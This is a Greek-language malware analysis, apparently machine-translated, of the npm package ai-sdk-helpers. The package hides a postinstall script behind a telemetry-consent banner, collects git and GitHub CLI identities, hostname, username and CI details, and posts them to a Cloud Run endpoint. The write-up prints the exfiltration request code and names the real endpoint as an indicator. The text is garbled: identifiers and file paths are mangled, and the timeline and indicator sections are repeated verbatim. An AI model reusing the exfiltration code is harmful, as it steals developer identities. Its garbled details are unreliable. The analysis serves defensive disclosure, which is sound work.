TL? DR
Ένα ενιαίο πακέτο npm, βοηθοί-AI-SDK, παρουσιάζεται ως ένα κιτ εργαλείων παραγωγής για το Vercel AI SDK, προσφέροντας παρακολούθηση κόστους, εφεδρικό παρόχο και βοηθούς ροής.
Το σενάριο εγκατάστασης ανοίγει με ένα γυαλισμένο banner αποκάλυψης που περιγράφει ανώνυμα διαγνωστικά, υπόσχεται ότι δεν μεταδίδεται πηγαίος κώδικας, διακριτικά ή διαπιστευτήρια, τιμώντας ένα DO_NOT_TRACK εξαίρεση και σύνδεσμος προς μια σελίδα πολιτικής τηλεμετρίας.
Το ίδιο σενάριο διαβάζει στη συνέχεια την ταυτότητα git του προγραμματιστή, τη διαμόρφωση CLI GitHub, το όνομα κεντρικού υπολογιστή του μηχανήματος, το όνομα χρήστη του λειτουργικού συστήματος, τον κατάλογο εργασίας και τον πάροχο CI.
Αυτά τα δεδομένα ΔΗΜΟΣΙΕΥΟΝΤΑΙ ως JSON σε ένα τελικό σημείο Google Cloud Run, δημιουργώντας μια σαφή αναντιστοιχία μεταξύ της δηλωμένης πολιτικής τηλεμετρίας και των πραγματικών πεδίων που συλλέγονται.
Το πακέτο δημοσιεύτηκε σε είκοσι δύο εκδόσεις μέσα σε μία μόνο ριπή 83 δευτερολέπτων και το σενάριο εγκατάστασης είναι byte προς byte ίδιο σε κάθε έκδοση με σημαία.
Επτά από τις οκτώ εκδόσεις που αξιολογήθηκαν από εμάς pipeline βαθμολογήθηκαν ασαφή από τον ταξινομητή ML επειδή το στυλ banner συναίνεσης μοιάζει με νόμιμη τηλεμετρία.
Ταξινομούμε ai-sdk-helpers ως κακόβουλο με βάση τη συλλογή και την εξαγωγή ταυτότητας προγραμματιστή κατά την εγκατάσταση.
Σοβαρότητα: υψηλή.
Ανατομία της εγκατάστασης
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } μετά την εγκατάσταση εκτελείται αυτόματα σε npm install, πριν καν εισαχθεί οποιοσδήποτε από τους διαφημιζόμενους κώδικες του πακέτου. Το σενάριο σενάρια/postinstall.js είναι το σημείο όπου εδράζεται όλη η συμπεριφορά κατά τον χρόνο εγκατάστασης.
Ανοίγει με ένα μπλοκ σχολίων και μια ειδοποίηση χρόνου εκτέλεσης γραμμένη στο μητρώο ενός έργου ανοιχτού κώδικα που σέβεται την ιδιωτικότητα:
>Όταν εγκαθιστάτε τον ai-sdk-helpers, εκτελούμε έναν γρήγορο έλεγχο συμβατότητας περιβάλλοντος και αναφέρουμε ανώνυμα διαγνωστικά... Τα δεδομένα είναι πλήρως ανώνυμα — συλλέγουμε την πλατφόρμα σας, την έκδοση Node και ένα μονόδρομο hash του αναγνωριστικού του μηχανήματός σας. Δεν μεταδίδονται ποτέ πηγαίος κώδικας, διακριτικά ή διαπιστευτήρια.
Συνδέει ακόμη και μια λειτουργική πύλη εξαίρεσης, τον πρώτο εκτελέσιμο κώδικα στο αρχείο:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } το να δένεις πρώτα αυτή την πύλη είναι αυτό που κάνει τα υπόλοιπα να ερμηνεύονται ως συναινετικά: ένας προγραμματιστής που ορίζει `D_ΔΕΝ_ΠΑΡΑΚΟΛΟΥΘΕΙΤΑΙ` Η εγκατάσταση ολοκληρώνεται σιωπηλά και καταλήγει στο συμπέρασμα ότι το πακέτο τιμά τη σύμβαση. Η τιμώμενη εξαίρεση είναι πραγματική. Αυτό που απαγορεύει, για όλους όσους δεν την ορίζουν, είναι η συλλογή που περιγράφεται παρακάτω - όχι η στενότερη "πλατφόρμα, έκδοση Node και μονοκατευθυντικό hash" που ονομάζει η ειδοποίηση.
Κάτω από αυτήν την πύλη, το σενάριο συγκεντρώνει ένα ωφέλιμο φορτίο που υπερβαίνει κατά πολύ αυτήν την περιγραφή.
- *Gταυτότητα.* rεπίλυσηScmΤαυτότητα()` κεφάλια `~.gitconfig`,`~.config/git/config`,και το τρέχον έργο `.it/config`,αναλύει το `[ser]` και επιστρέφει το διαμορφωμένο commit email. Εάν κανένα αρχείο ρυθμίσεων δεν αποδώσει email, επιστρέφει στο `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,και `ΕAIL` μεταβλητές περιβάλλοντος. Μια συμβολοσειρά τεκμηρίωσης πάνω από τη συνάρτηση πλαισιώνει την ανάγνωση ως έναν τρόπο «κατάργησης διπλότυπων εγκαταστάσεων σε μηχανήματα που ανήκουν στο ίδιο άτομο (π.χ. φορητός υπολογιστής + CI)» — ένας δηλωμένος σκοπός που απαιτεί ένα σταθερό αναγνωριστικό ανά προγραμματιστή, το οποίο commit προμήθειες ηλεκτρονικού ταχυδρομείου.
- *GΛογαριασμός tHub.* rsolveGitHubIdentity()` κεφάλια `~.config/gh/hosts.yml` και `~.config/gh/hosts.yaml` το αρχείο διαμόρφωσης που γράφεται από το GitHub CLI όταν ένας προγραμματιστής ελέγχει την ταυτότητά του — και εξάγει το regex το `uεεε:` και `εαηδία:` πεδία. Αυτό το αρχείο αποθηκεύει επίσης το διακριτικό GitHub OAuth. Το regex του σεναρίου στοχεύει συγκεκριμένα τις γραμμές ονόματος χρήστη και email και δεν εξάγει το διακριτικό. Ο ισχυρισμός "κανένα διακριτικό... δεν μεταδίδεται ποτέ" του banner αποκάλυψης ισχύει επομένως κυριολεκτικά για αυτό το ένα πεδίο, ενώ τα γύρω αναγνωριστικά λογαριασμού διαβάζονται και αποστέλλονται.
- *Hst και CI δακτυλικό αποτύπωμα.* το σενάριο στη συνέχεια συλλέγει `o.hostname()`,`o.userInfo().όνομαχρήστη`,η έκδοση, η πλατφόρμα και η αρχιτεκτονική του Node, `pδιαδικασία.cwd()`,και μια ετικέτα παρόχου CI που επιλύθηκε ελέγχοντας μεταβλητές περιβάλλοντος για οκτώ παρόχους (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite και δύο σημαίες generic-CI). Η λίστα παρόχων διαβάζεται ως ένα απόθεμα του πού αναμένεται να εκτελεστεί το σενάριο — διαδραστικά κελύφη και αυτοματοποιημένη κατασκευή pipelineείναι όμοια.
Όλα αυτά ομαδοποιούνται σε ένα μόνο `dαγνωστικιστές αντικείμενο, με τα πεδία ανά προγραμματιστή να συλλέγονται υπό ένα `iοντότητα ey και τα δεδομένα κεντρικού υπολογιστή υπό `rntime` nd `cntext` eys, στη συνέχεια σειριοποιήθηκε και μεταδόθηκε:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Η απάντηση απορρίπτεται και όλα τα σφάλματα απορροφώνται — ένα σχόλιο σημειώνει ότι «η τηλεμετρία δεν πρέπει ποτέ να διακόπτει την εγκατάσταση». Το όνομα κεντρικού υπολογιστή τελικού σημείου κωδικοποιεί μια υπηρεσία Google Cloud Run στο `eσχοινί-δυτικά1` περιοχή.
Το κενό είναι η ιστορία. Το banner ονομάζει τρεις κατηγορίες δεδομένων — πλατφόρμα, έκδοση κόμβου, hash αναγνωριστικού μηχανής. Το ωφέλιμο φορτίο στέλνει το πραγματικό git ενός προγραμματιστή. commit email, το όνομα χρήστη και το email τους στο GitHub, το όνομα κεντρικού υπολογιστή του υπολογιστή τους και το όνομα λογαριασμού λειτουργικού συστήματος, τη διαδρομή του έργου τους και το περιβάλλον CI τους. Τα πεδία που προσδιορίζουν ένα *prson και οι λογαριασμοί τους* σχετικά με ακριβώς τα πεδία που παραλείπει η αποκάλυψη.
Το README ενισχύει το πλαίσιο από την άλλη πλευρά. Η ενότητα «Τηλεμετρία» επαναλαμβάνει τον ισχυρισμό ανωνυμίας και συνδέει τη λέξη `D_ΔΕΝ_ΠΑΡΑΚΟΛΟΥΘΕΙΤΑΙ` ο `cnsoledonottrack.com`,η πραγματική σελίδα της κοινότητας που τεκμηριώνει τη σύμβαση εξαίρεσης — δανειζόμενοι μια αναγνωρισμένη αρχή περί απορρήτου standard για να γίνει η ειδοποίηση συνήθεια.
Χρονολόγιο
Πρόκειται για ένα εύρημα ενός μόνο πακέτου με πολύ σύντομο, πολύ πυκνό ιστορικό δημοσίευσης. Δεν υπάρχει καμία καμπάνια πολλαπλών εβδομάδων προς παρακολούθηση — ολόκληρη η γκάμα εκδόσεων προωθήθηκε με την ταχύτητα του μηχανήματος.
| Πότε (UTC) | Συμβάν |
|---|---|
| 2026-06-03 20:31:20 | Πρώτη έκδοση (0.1.0) δημοσιεύτηκε στο npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Και οι 22 εκδόσεις (0.1.0 μέσω 1.4.2) δημοσιεύτηκε σε αυτοματοποιημένη ριπή 83 δευτερολέπτων. |
| 2026-06-04 | Οκτώ εκδόσεις επισημάνθηκαν από σήματα ανίχνευσης. Η χειροκίνητη ανάλυση επιβεβαιώνει τη συλλογή και την εξαγωγή ταυτοτήτων κατά την εγκατάσταση. Το πακέτο παρέμεινε ενεργό στο npm κατά τη στιγμή της ανάλυσης. |
Το παράθυρο των 83 δευτερολέπτων σε 22 σημασιολογικές εκδόσεις είναι από μόνο του ένας δείκτης συμπεριφοράς: η κλίμακα έκδοσης (`01.0',`01.1',… `14.2`)παρουσιάζει την επιφάνεια ενός ενεργά συντηρούμενου έργου με ένα ιστορικό εκδόσεων, που παράγεται σε μία εκτέλεση σεναρίου. Το σενάριο εγκατάστασης δεν αλλάζει σε αυτήν την κλίμακα — δείτε παρακάτω.
Δείκτες συμβιβασμού
Το ωφέλιμο φορτίο χρόνου εγκατάστασης είναι ίδιο σε όλο το εύρος δημοσιευμένων εκδόσεων. A `dff` f `sripts/postinstall.js` έκδοση etween `02.1` η έκδοση `14.2` δεν επιστρέφει διαφορές. Η συμπεριφορά είναι ένα σταθερό δακτυλικό αποτύπωμα, όχι ένα εξελισσόμενο ωφέλιμο φορτίο.
Δίκτυο
Το παράθυρο των 83 δευτερολέπτων σε 22 σημασιολογικές εκδόσεις είναι από μόνο του ένας δείκτης συμπεριφοράς: η κλίμακα έκδοσης (`01.0',`01.1',… `14.2`)παρουσιάζει την επιφάνεια ενός ενεργά συντηρούμενου έργου με ένα ιστορικό εκδόσεων, που παράγεται σε μία εκτέλεση σεναρίου. Το σενάριο εγκατάστασης δεν αλλάζει σε αυτήν την κλίμακα — δείτε παρακάτω.
Δείκτες συμβιβασμού
Το ωφέλιμο φορτίο χρόνου εγκατάστασης είναι ίδιο σε όλο το εύρος δημοσιευμένων εκδόσεων. A `dff` f `sripts/postinstall.js` έκδοση etween `02.1` η έκδοση `14.2` δεν επιστρέφει διαφορές. Η συμπεριφορά είναι ένα σταθερό δακτυλικό αποτύπωμα, όχι ένα εξελισσόμενο ωφέλιμο φορτίο.
Δίκτυο
| Δείκτης | Ρόλος |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Τελικό σημείο εξαγωγής που λαμβάνει αιτήματα HTTPS POST με ωφέλιμα φορτία JSON. Φιλοξενείται στο Google Cloud. Εκτέλεση στο europe-west1 περιοχή. |
Υποδομή δολώματος
| Δείκτης | Ρόλος |
|---|---|
ai-sdk.guide | Αρχική σελίδα πακέτου και ενεργός ιστότοπος που υποστηρίζει την ταυτότητα δημιουργού του "AI SDK Guide". |
ai-sdk.guide/telemetry | URL πολιτικής τηλεμετρίας που αναφέρεται στην ειδοποίηση αποκάλυψης κατά την εγκατάσταση. |
hello@ai-sdk.guide | Η διεύθυνση ηλεκτρονικού ταχυδρομείου του συγγραφέα δηλώθηκε στο package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Αποθετήριο πηγαίου κώδικα που δηλώνεται από το πακέτο. |
Αρχεία που διαβάζονται κατά την εγκατάσταση
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` e-mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uεεε `eαιλ`
Υπογραφές συμπεριφοράς
- – m `pstinstall` Το look καλεί ένα πακέτο σεναρίου Node
- – πύλη εξαίρεσης (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)παρουσιάζεται ως χαρακτηριστικό απορρήτου, πριν από τη συλλογή ταυτοτήτων
- – tbound HTTPS POST ενός αντικειμένου JSON που περιέχει email git, ταυτότητα GitHub, όνομα κεντρικού υπολογιστή, όνομα χρήστη λειτουργικού συστήματος, cwd και ετικέτα CI
- – πανομοιότυπο σενάριο εγκατάστασης σε μια ταχέως δημοσιευμένη κλίμακα έκδοσης
Απόδοση & Παρατηρούμενη Συμπεριφορά
Δεν αποδίδουμε τίποτα πέρα από αυτά που καταγράφουν τα μεταδεδομένα του πακέτου και του μητρώου.
Ο διαχειριστής του αρχείου npm είναι ο λογαριασμός `aΙέλσιμον`,με τη διεύθυνση `aiel@vigilance.security`.Το μητρώο παραθέτει αυτό το email ως μη επαληθευμένο και την ταυτότητα ελέγχου προέλευσης του λογαριασμού ως μη επαληθευμένη. Το `pckage.json`,ξεχωριστά, παρουσιάζει τον συγγραφέα ως «Οδηγό AI SDK»ello@ai-sdk.guide>`”με αρχική σελίδα `a-sdk.guide` και ένα αποθετήριο πηγαίου κώδικα υπό `gthub.com/ai-sdk-guide` οργανισμός. Ο τομέας email του λογαριασμού δημοσίευσης (`vigilance.security`)και την ταυτότητα του δημιουργού εντός του πακέτου (`a-sdk.guide`)είναι διαφορετικοί τομείς.
Το `α-sdk.guide` ite είναι ενεργό και ανταποκρίνεται, και το `/ηλεκτρομετρία Το ath επιλύεται — η ταυτότητα-δόλωμα υποστηρίζεται από μια προσβάσιμη διαδικτυακή παρουσία και όχι από έναν ανενεργό σύνδεσμο, γεγονός που αυξάνει την αξιοπιστία του πλαισίου του πακέτου.
**Παρατηρούμενη δυνατότητα.** Κατά την εγκατάσταση, το πακέτο διαβάζει τα αρχεία ταυτότητας προγραμματιστή και διαμόρφωσης λογαριασμού, αποτυπώνει το περιβάλλον κεντρικού υπολογιστή και CI και μεταδίδει το αποτέλεσμα σε ένα τελικό σημείο που ελέγχεται από τον χειριστή, εμφανίζοντας παράλληλα μια ειδοποίηση που περιγράφει ένα πιο περιορισμένο και ανώνυμο σύνολο δεδομένων. Περιγράφουμε αυτήν τη συμπεριφορά· δεν δηλώνουμε κάποιο κίνητρο γι' αυτήν. Οι αναγνώστες που αξιολογούν το πακέτο — συμπεριλαμβανομένου οποιουδήποτε μέρους που αναγνωρίζει την ταυτότητα δημοσίευσης — θα πρέπει να σταθμίσουν την παρατηρήσιμη αναντιστοιχία μεταξύ των δηλωμένων και των πραγματικών ροών δεδομένων.
Αντίκτυπος, τάσεις και καθοδήγηση για τους υπερασπιστές
Ποιος είναι εκτεθειμένος. Όποιος εγκαθιστά βοηθοί-AI-SDK — άμεσα ή ως μεταβατική εξάρτηση — εκτελεί τη συλλογή σε αυτόν τον υπολογιστή. Επειδή η ενεργοποίηση είναι μετά την εγκατάσταση, ο διαφημιζόμενος κώδικας βιβλιοθήκης δεν χρειάζεται ποτέ να εισαχθεί για να πραγματοποιηθεί η ροή δεδομένων. Η εγκατάσταση από μόνη της είναι αρκετή. Τα περιβάλλοντα υψηλότερης αξίας είναι οι σταθμοί εργασίας προγραμματιστών με μια διαμορφωμένη ταυτότητα git και ένα πιστοποιημένο CLI GitHub, και οι εκτελεστές CI, όπου η ανίχνευση παρόχου CI του σεναρίου υποδεικνύει ότι η συλλογή αναμένεται να εκτελεστεί εντός της έκδοσης. pipelines καθώς και σε φορητούς υπολογιστές.
Τι αποκαλύπτει. Δεν πρόκειται για μυστικά εφαρμογών στη γενική περίπτωση — το ωφέλιμο φορτίο επικεντρώνεται σε ταυτότητα: του προγραμματιστή commit email, το όνομα και το email του λογαριασμού GitHub, τα ονόματα του μηχανήματος και του λογαριασμού, καθώς και τη διαδρομή του έργου. Αυτό είναι ένα προ-cisΈνας χάρτης με το ποιος εγκατέστησε το πακέτο, σε ποιο μηχάνημα, σε ποιο αποθετήριο και σε ποιο σύστημα CI. Για έναν οργανισμό, μια χούφτα τέτοιων αρχείων μαζί θα απαριθμούσε ποιοι μηχανικοί και ποια συστήματα κατασκευής δημιούργησαν την εξάρτηση — χρήσιμο ως πρόδρομος για πιο στοχευμένη δραστηριότητα παρακολούθησης, παρόλο που η συμπεριφορά αυτού του πακέτου σταματά στη συλλογή και τη μετάδοση.
Η τάση: η τηλεμετρία ως κάλυψη. Τα νόμιμα εργαλεία προγραμματιστών συλλέγουν ανώνυμα διαγνωστικά εγκατάστασης και οι συμβάσεις για την τήρηση των κανόνων για την εφαρμογή τους — μια ειδοποίηση αποκάλυψης, ένα ΜΗΝ_ΠΑΡΑΚΟΛΟΥΘΕΙΤΕ honor, μια σημαία εξαίρεσης, μια διεύθυνση URL πολιτικής — είναι γνωστά. βοηθοί-AI-SDK αναπαράγει πιστά και τις τέσσερις αυτές συμβάσεις και τις χρησιμοποιεί ως περιτύλιγμα για τη συλλογή ταυτοτήτων. Η παρουσία ενός banner συναίνεσης, μιας λειτουργικής εξαίρεσης ή ενός συνδέσμου πολιτικής απορρήτου δεν αποτελεί απόδειξη ότι ένα πακέτο είναι αξιόπιστο. Η μίμηση αυτών των ελέγχων είναι φθηνή. Ο μόνος αξιόπιστος έλεγχος είναι τι πραγματικά διαβάζει ο κώδικας και πού τον στέλνει.
Αυτή η συσκευασία έχει επίσης μετρήσιμη επίδραση στην αυτοματοποιημένη διαλογή. Σε όλες τις εκδόσεις μας pipeline αξιολογήθηκαν, τα σχόλια απλής γλώσσας του σεναρίου εγκατάστασης, τα δομημένα ονόματα πεδίων και η συμβατική πύλη εξαίρεσης βαθμολογήθηκαν ως συνηθισμένη τηλεμετρία: επτά από τα οκτώ επέστρεψαν μη τελεσίδικος από τον ταξινομητή ML και όχι κακόβουλο. Το σήμα που επιλύει την ασάφεια δεν βρίσκεται στην πρόζα — βρίσκεται στα συγκεκριμένα αρχεία που ανοίγει το σενάριο (~ / .gitconfig, ~/.config/gh/hosts.yml) και τον προορισμό στον οποίο αποστέλλει. Ένας κριτής, αυτοματοποιημένος ή ανθρώπινος, που διαβάζει την αποκάλυψη και σταματά εκεί θα καταλήξει σε λάθος συμπέρασμα. Η απόφαση πρέπει να προέρχεται από τα γεγονότα της ροής δεδομένων.
Οδηγίες για τους αμυντικούς:
- Εγκατάσταση με απενεργοποιημένα από προεπιλογή σενάρια — npm install –ignore-scripts, ή ορίστε αγνόηση-scripts=true in .npmrc και να εκτελέσετε ρητά ελεγμένα βήματα κατασκευής. Αυτό εξουδετερώνει μετά την εγκατάσταση-ενεργοποιημένη είσπραξη σε όλους τους τομείς.
- Μην αντιμετωπίζετε τα στοιχεία ελέγχου εξαίρεσης ως σήματα εμπιστοσύνης. A ΜΗΝ_ΠΑΡΑΚΟΛΟΥΘΕΙΤΕ Ο έλεγχος ή ένας σύνδεσμος "πολιτική τηλεμετρίας" δεν σας λέει τίποτα για τα δεδομένα που συλλέγει ένα σενάριο όταν η πύλη δεν έχει οριστεί.
- Διαβάστε το άγκιστρο εγκατάστασης πριν υιοθετήσετε βοηθητικά πακέτα οικοσυστήματος τεχνητής νοημοσύνης. Ο χώρος SDK τεχνητής νοημοσύνης Vercel είναι ένας γρήγορα κινούμενος στόχος υψηλής αξιοπιστίας. μετά την εγκατάσταση που αγγίζει ~ / .gitconfig or ~/.config/gh/ είναι ένα σαφές μήνυμα ανεξάρτητα από το πώς είναι γραμμένα τα σχόλια που τα περιβάλλουν.
- Παρακολούθηση εξόδου κατά τον χρόνο δημιουργίας. Ένα εξερχόμενο HTTPS POST κατά τη διάρκεια npm install, ειδικά σε ένα πρόσφατα παρεχόμενο τελικό σημείο συνάρτησης cloud, είναι παρατηρήσιμο στο επίπεδο δικτύου και αποτελεί ισχυρό σημείο ανίχνευσης για περιβάλλοντα CI.
- Προσέξτε για συμπιεσμένες κλίμακες έκδοσης. Ένα πακέτο του οποίου ολόκληρο το ιστορικό σημασιολογικής έκδοσης εμφανίζεται μέσα σε δευτερόλεπτα, με ένα αμετάβλητο σενάριο εγκατάστασης, παρουσιάζει ένα κατασκευασμένο ιστορικό συντήρησης.





